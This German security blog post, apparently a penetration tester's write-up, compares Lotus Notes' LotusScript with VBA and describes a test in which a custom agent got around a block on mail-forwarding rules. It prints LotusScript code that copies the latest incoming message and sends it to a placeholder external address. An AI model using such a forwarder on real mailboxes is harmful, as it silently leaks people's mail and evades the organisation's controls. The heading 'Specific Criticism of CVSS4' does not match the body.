Specific Criticism of CVSS4
Marc Ruef
LotusNotes wird vorzugsweise in grösseren Unternehmungen als Alternative zu Microsoft Exchange und Outlook eingesetzt. Das kommerzielle Produkt, welches mittlerweile von IBM betreut wird, weist eine ähnliche Funktionalität auf: Email, Terminkalender, Tasks/Todos und Chats (mit Sametime).
In Microsoft-Umgebungen ist seit Makroviren wie Melissa und Iloveyou die hauseigene Skriptsprache VBA (Visual Basic for Applications) umstritten. Zu viel Mächtigkeit wird ihr beigemessen und zu gering sind die Restriktionen, die sich modular durchsetzen lassen.
Doch nur die allerwenigsten Leute wissen, dass LotusNotes mit LotusScript eine sehr ähnliche Funktionalität bereitstellt. Schon fast ein bisschen hämisch ist es mitanzusehen, dass sich der Original-Syntax der Skriptsprache sehr stark an VBA/VB6 orientiert. So werden Variablen ebenfalls mit Dim
deklariert, man kennt den dynamischen Datentyp Variant
und als Vergleichsoperator wird ebenfalls einfaches =
anstelle des doppelten ==
(z.B. wie bei C und PHP) verwendet. WikiPedia schreibt hierzu:
LotusScript is very similar to Visual Basic. Code can often be copied without modification from one to the other, and programmers familiar with one can easily understand the syntax and structure of code in the other. The major differences between the two are in their respective Integrated Development Environments and in the product-specific object classes provided in each language that are included. VB includes a richer set of classes for UI manipulation, whereas LotusScript includes a richer set of application-specific classes for Lotus Notes, Lotus Word Pro and Lotus 1-2-3.
Im Rahmen eines Lotus Notes Penetration Test haben wir LotusScript genutzt, um Angriffe zu automatisieren und Restriktionen des bereitgestellten Kontos zu umgehen. So wurde beispielsweise mittels Pattern-Matching verhindert, dass eine “Send Copy To” Rule für Emails angewendet wird, um diese automatisch an eine externe Mailadresse weiterzuleiten. Indem nun mittels LotusScript ein eigener Agent erstellt wurde, liess sich diese Einschränkung umgehen.
Nachfolgendes Codebeispiel zeigt auf, wie eingehende Nachrichten erkannt, deren Inhalt ausgelesen, in eine neue Nachricht geschrieben und diese an eine vordefinierte Mailadresse geschickt werden. Dieser Agent muss nun nur noch zeitgesteuert auf dem Server oder dem laufenden Client betrieben werden, um die gleiche Funktionalität wie mit einer “Send Copy To” Rule zu erreichen.
Sub MailSendToClone() Dim s As New notessession Dim db As notesdatabase Dim dc As notesdocumentcollection Dim ndorig As notesdocument Dim ndcopy As notesdocument Dim rt As notesrichtextitem ‘read the last mail Set db = s.currentdatabase Set dc = db.alldocuments Set ndorig = dc.getlastdocument ‘prepare the new mail Set ndcopy = New notesdocument(db) ndcopy.sendto = “user-at-domain.example” ndcopy.subject = “Automated Forwarder” ndcopy.body = ndorig.body ‘send the mail copy Call ndcopy.send(False) End Sub
Dennoch ist LotusScript nicht per se so gefährlich, wie man es sich von VBA/VBS her gewohnt ist. LotusScript lässt sich nicht einfachso in Emails einbetten oder als Attachment verschicken. Das Erstellen eines reinen Makrovirus auf der Basis von LotusScript ist nicht möglich. Hierzu müssten erweiterte Mechanismen (z.B. das Erstellen von Batch-Dateien oder das Generieren von EXE-Programmen) eingesetzt werden. Eine Kombination von Technologien für simple Abläufe gestaltet sich für Virenprogrammierer hingegen sehr unattraktiv. Da könnte man auch gleich einen binären Virus als EXE-Datei verbreiten.
Our experts will get in contact with you!
Marc Ruef
Marc Ruef
Marc Ruef
Marc Ruef
Our experts will get in contact with you!